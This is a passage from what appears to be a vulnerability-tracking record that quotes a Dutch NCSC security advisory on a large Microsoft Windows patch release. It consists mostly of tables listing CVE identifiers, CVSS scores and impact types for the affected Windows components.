CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:45.585286Z"}, {"uuid": "e4065c91-c8db-43bf-8feb-b99703c1d8b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54999", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang 